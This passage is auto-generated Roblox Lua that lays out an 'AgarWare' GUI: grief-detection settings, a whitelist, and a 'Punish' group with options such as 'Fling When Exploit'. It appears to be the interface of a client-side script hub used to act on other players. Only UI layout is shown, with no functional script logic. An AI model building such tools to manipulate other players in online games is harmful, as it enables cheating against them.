-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow
G2L["21b"] = Instance.new("Frame", G2L["20f"]);
G2L["21b"]["BorderSizePixel"] = 0;
G2L["21b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21b"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21b"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21b"]["Name"] = [[WListLabelRow]];
G2L["21b"]["LayoutOrder"] = 20;
G2L["21b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelScript
G2L["21c"] = Instance.new("LocalScript", G2L["21b"]);
G2L["21c"]["Name"] = [[WListLabelScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelText
G2L["21d"] = Instance.new("TextLabel", G2L["21b"]);
G2L["21d"]["BorderSizePixel"] = 0;
G2L["21d"]["TextSize"] = 14;
G2L["21d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["21d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["21d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21d"]["BackgroundTransparency"] = 1;
G2L["21d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["21d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21d"]["Text"] = [[Whitelist Players:]];
G2L["21d"]["Name"] = [[WListLabelText]];
G2L["21d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListLabelRow.WListLabelHelp
G2L["21e"] = Instance.new("TextButton", G2L["21b"]);
G2L["21e"]["TextSize"] = 14;
G2L["21e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["21e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["21e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["21e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["21e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["21e"]["Text"] = [[?]];
G2L["21e"]["Name"] = [[WListLabelHelp]];
G2L["21e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow
G2L["21f"] = Instance.new("Frame", G2L["20f"]);
G2L["21f"]["BorderSizePixel"] = 0;
G2L["21f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["21f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["21f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["21f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["21f"]["Name"] = [[WListRow]];
G2L["21f"]["LayoutOrder"] = 21;
G2L["21f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListScript
G2L["220"] = Instance.new("LocalScript", G2L["21f"]);
G2L["220"]["Name"] = [[WListScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.WListRow.WListDropdown
G2L["221"] = Instance.new("TextButton", G2L["21f"]);
G2L["221"]["TextSize"] = 14;
G2L["221"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["221"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["221"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["221"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["221"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["221"]["Text"] = [[]];
G2L["221"]["Name"] = [[WListDropdown]];
G2L["221"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow
G2L["222"] = Instance.new("Frame", G2L["20f"]);
G2L["222"]["BorderSizePixel"] = 0;
G2L["222"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["222"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["222"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["222"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["222"]["Name"] = [[GriefInGameRow]];
G2L["222"]["LayoutOrder"] = 5;
G2L["222"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameScript
G2L["223"] = Instance.new("LocalScript", G2L["222"]);
G2L["223"]["Name"] = [[GriefInGameScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameTickBox
G2L["224"] = Instance.new("TextButton", G2L["222"]);
G2L["224"]["TextSize"] = 14;
G2L["224"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["224"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["224"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["224"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["224"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["224"]["Text"] = [[]];
G2L["224"]["Name"] = [[GriefInGameTickBox]];
G2L["224"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefInGameRow.GriefInGameText
G2L["225"] = Instance.new("TextLabel", G2L["222"]);
G2L["225"]["BorderSizePixel"] = 0;
G2L["225"]["TextSize"] = 14;
G2L["225"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["225"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["225"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["225"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["225"]["BackgroundTransparency"] = 1;
G2L["225"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["225"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["225"]["Text"] = [[Abandoned Blocks]];
G2L["225"]["Name"] = [[GriefInGameText]];
G2L["225"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow
G2L["226"] = Instance.new("Frame", G2L["20f"]);
G2L["226"]["BorderSizePixel"] = 0;
G2L["226"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["226"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["226"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["226"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["226"]["Name"] = [[GriefEnlightenRow]];
G2L["226"]["LayoutOrder"] = 5;
G2L["226"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenScript
G2L["227"] = Instance.new("LocalScript", G2L["226"]);
G2L["227"]["Name"] = [[GriefEnlightenScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenTickBox
G2L["228"] = Instance.new("TextButton", G2L["226"]);
G2L["228"]["TextSize"] = 14;
G2L["228"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["228"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["228"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["228"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["228"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["228"]["Text"] = [[]];
G2L["228"]["Name"] = [[GriefEnlightenTickBox]];
G2L["228"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.GriefEnlightenRow.GriefEnlightenText
G2L["229"] = Instance.new("TextLabel", G2L["226"]);
G2L["229"]["BorderSizePixel"] = 0;
G2L["229"]["TextSize"] = 14;
G2L["229"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["229"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["229"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["229"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["229"]["BackgroundTransparency"] = 1;
G2L["229"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["229"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["229"]["Text"] = [[Detect Enlighteners]];
G2L["229"]["Name"] = [[GriefEnlightenText]];
G2L["229"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow
G2L["22a"] = Instance.new("Frame", G2L["20f"]);
G2L["22a"]["BorderSizePixel"] = 0;
G2L["22a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["22a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["22a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22a"]["Name"] = [[CooldownGriefRow]];
G2L["22a"]["LayoutOrder"] = 3;
G2L["22a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefText
G2L["22b"] = Instance.new("TextLabel", G2L["22a"]);
G2L["22b"]["BorderSizePixel"] = 0;
G2L["22b"]["TextSize"] = 14;
G2L["22b"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["22b"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22b"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22b"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["22b"]["BackgroundTransparency"] = 1;
G2L["22b"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["22b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22b"]["Text"] = [[Cooldown]];
G2L["22b"]["Name"] = [[CooldownGriefText]];
G2L["22b"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger
G2L["22c"] = Instance.new("TextBox", G2L["22a"]);
G2L["22c"]["Name"] = [[CooldownGriefChanger]];
G2L["22c"]["PlaceholderColor3"] = Color3.fromRGB(0, 124, 255);
G2L["22c"]["TextWrapped"] = true;
G2L["22c"]["TextSize"] = 14;
G2L["22c"]["TextColor3"] = Color3.fromRGB(0, 124, 255);
G2L["22c"]["TextScaled"] = true;
G2L["22c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["22c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["22c"]["PlaceholderText"] = [[(30)]];
G2L["22c"]["Size"] = UDim2.new(0, 46, 0, 16);
G2L["22c"]["Position"] = UDim2.new(0.69822, 0, 0.16, 0);
G2L["22c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22c"]["Text"] = [[]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefChanger.CooldownScript
G2L["22d"] = Instance.new("LocalScript", G2L["22c"]);
G2L["22d"]["Name"] = [[CooldownScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.GSettingsGroup.CooldownGriefRow.CooldownGriefHelp
G2L["22e"] = Instance.new("TextButton", G2L["22a"]);
G2L["22e"]["TextSize"] = 14;
G2L["22e"]["TextColor3"] = Color3.fromRGB(96, 96, 96);
G2L["22e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["22e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["22e"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["22e"]["BorderColor3"] = Color3.fromRGB(82, 82, 82);
G2L["22e"]["Text"] = [[?]];
G2L["22e"]["Name"] = [[CooldownGriefHelp]];
G2L["22e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup
G2L["22f"] = Instance.new("Frame", G2L["20d"]);
G2L["22f"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["22f"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["22f"]["Size"] = UDim2.new(0, 170, 0, 104);
G2L["22f"]["Position"] = UDim2.new(0, 0, 0.4, 0);
G2L["22f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["22f"]["Name"] = [[PunishGroup]];
G2L["22f"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishScript
G2L["230"] = Instance.new("LocalScript", G2L["22f"]);
G2L["230"]["Name"] = [[PunishScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishToolTip
G2L["231"] = Instance.new("LocalScript", G2L["22f"]);
G2L["231"]["Name"] = [[PunishToolTip]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.UIListLayout
G2L["232"] = Instance.new("UIListLayout", G2L["22f"]);
G2L["232"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishAccentColor
G2L["233"] = Instance.new("Frame", G2L["22f"]);
G2L["233"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["233"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["233"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["233"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["233"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["233"]["Name"] = [[PunishAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle
G2L["234"] = Instance.new("TextLabel", G2L["22f"]);
G2L["234"]["TextWrapped"] = true;
G2L["234"]["BorderSizePixel"] = 0;
G2L["234"]["TextSize"] = 14;
G2L["234"]["TextScaled"] = true;
G2L["234"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["234"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["234"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["234"]["BackgroundTransparency"] = 0.95;
G2L["234"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["234"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["234"]["Text"] = [[Punish]];
G2L["234"]["LayoutOrder"] = 1;
G2L["234"]["Name"] = [[PunishTitle]];
G2L["234"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.PunishTitle.PunishMinimize
G2L["235"] = Instance.new("TextButton", G2L["234"]);
G2L["235"]["BorderSizePixel"] = 0;
G2L["235"]["TextSize"] = 14;
G2L["235"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["235"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["235"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["235"]["BackgroundTransparency"] = 1;
G2L["235"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["235"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["235"]["Text"] = [[-]];
G2L["235"]["Name"] = [[PunishMinimize]];
G2L["235"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow
G2L["236"] = Instance.new("Frame", G2L["22f"]);
G2L["236"]["BorderSizePixel"] = 0;
G2L["236"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["236"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["236"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["236"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["236"]["Name"] = [[AlertGriefRow]];
G2L["236"]["LayoutOrder"] = 2;
G2L["236"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefScript
G2L["237"] = Instance.new("LocalScript", G2L["236"]);
G2L["237"]["Name"] = [[AlertGriefScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefTickBox
G2L["238"] = Instance.new("TextButton", G2L["236"]);
G2L["238"]["TextSize"] = 14;
G2L["238"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["238"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["238"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["238"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["238"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["238"]["Text"] = [[]];
G2L["238"]["Name"] = [[AlertGriefTickBox]];
G2L["238"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.AlertGriefRow.AlertGriefText
G2L["239"] = Instance.new("TextLabel", G2L["236"]);
G2L["239"]["BorderSizePixel"] = 0;
G2L["239"]["TextSize"] = 14;
G2L["239"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["239"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["239"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["239"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["239"]["BackgroundTransparency"] = 1;
G2L["239"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["239"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["239"]["Text"] = [[Alert in Chat]];
G2L["239"]["Name"] = [[AlertGriefText]];
G2L["239"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow
G2L["23a"] = Instance.new("Frame", G2L["22f"]);
G2L["23a"]["BorderSizePixel"] = 0;
G2L["23a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["23a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["23a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23a"]["Name"] = [[ConfirmGriefRow]];
G2L["23a"]["LayoutOrder"] = 3;
G2L["23a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefScript
G2L["23b"] = Instance.new("LocalScript", G2L["23a"]);
G2L["23b"]["Name"] = [[ConfirmGriefScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefTickBox
G2L["23c"] = Instance.new("TextButton", G2L["23a"]);
G2L["23c"]["TextSize"] = 14;
G2L["23c"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23c"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["23c"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["23c"]["Text"] = [[]];
G2L["23c"]["Name"] = [[ConfirmGriefTickBox]];
G2L["23c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.ConfirmGriefRow.ConfirmGriefText
G2L["23d"] = Instance.new("TextLabel", G2L["23a"]);
G2L["23d"]["BorderSizePixel"] = 0;
G2L["23d"]["TextSize"] = 14;
G2L["23d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["23d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["23d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23d"]["BackgroundTransparency"] = 1;
G2L["23d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["23d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23d"]["Text"] = [[Confirm Grief]];
G2L["23d"]["Name"] = [[ConfirmGriefText]];
G2L["23d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow
G2L["23e"] = Instance.new("Frame", G2L["22f"]);
G2L["23e"]["BorderSizePixel"] = 0;
G2L["23e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["23e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["23e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["23e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["23e"]["Name"] = [[SFXGriefRow]];
G2L["23e"]["LayoutOrder"] = 3;
G2L["23e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefScript
G2L["23f"] = Instance.new("LocalScript", G2L["23e"]);
G2L["23f"]["Name"] = [[SFXGriefScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefTickBox
G2L["240"] = Instance.new("TextButton", G2L["23e"]);
G2L["240"]["TextSize"] = 14;
G2L["240"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["240"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["240"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["240"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["240"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["240"]["Text"] = [[]];
G2L["240"]["Name"] = [[SFXGriefTickBox]];
G2L["240"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.SFXGriefRow.SFXGriefText
G2L["241"] = Instance.new("TextLabel", G2L["23e"]);
G2L["241"]["BorderSizePixel"] = 0;
G2L["241"]["TextSize"] = 14;
G2L["241"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["241"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["241"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["241"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["241"]["BackgroundTransparency"] = 1;
G2L["241"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["241"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["241"]["Text"] = [[Play Alert Sfx]];
G2L["241"]["Name"] = [[SFXGriefText]];
G2L["241"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow
G2L["242"] = Instance.new("Frame", G2L["22f"]);
G2L["242"]["BorderSizePixel"] = 0;
G2L["242"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["242"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["242"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["242"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["242"]["Name"] = [[FlingExploitRow]];
G2L["242"]["LayoutOrder"] = 3;
G2L["242"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitScript
G2L["243"] = Instance.new("LocalScript", G2L["242"]);
G2L["243"]["Name"] = [[FlingExploitScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitTickBox
G2L["244"] = Instance.new("TextButton", G2L["242"]);
G2L["244"]["TextSize"] = 14;
G2L["244"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["244"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["244"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["244"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["244"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["244"]["Text"] = [[]];
G2L["244"]["Name"] = [[FlingExploitTickBox]];
G2L["244"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCODetectionPage.TCODetectionRightSide.PunishGroup.FlingExploitRow.FlingExploitText
G2L["245"] = Instance.new("TextLabel", G2L["242"]);
G2L["245"]["BorderSizePixel"] = 0;
G2L["245"]["TextSize"] = 14;
G2L["245"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["245"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["245"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["245"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["245"]["BackgroundTransparency"] = 1;
G2L["245"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["245"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["245"]["Text"] = [[Fling When Exploit]];
G2L["245"]["Name"] = [[FlingExploitText]];
G2L["245"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage
G2L["246"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["246"]["Visible"] = false;
G2L["246"]["Active"] = true;
G2L["246"]["BorderSizePixel"] = 0;
G2L["246"]["Name"] = [[TCOMiscPage]];
G2L["246"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["246"]["Size"] = UDim2.new(0, 349, 0, 233);
G2L["246"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["246"]["Position"] = UDim2.new(0.02329, 0, 0.09398, 0);
G2L["246"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["246"]["ScrollBarThickness"] = 0;
G2L["246"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOMiscPage.TCOMiscLeftSide
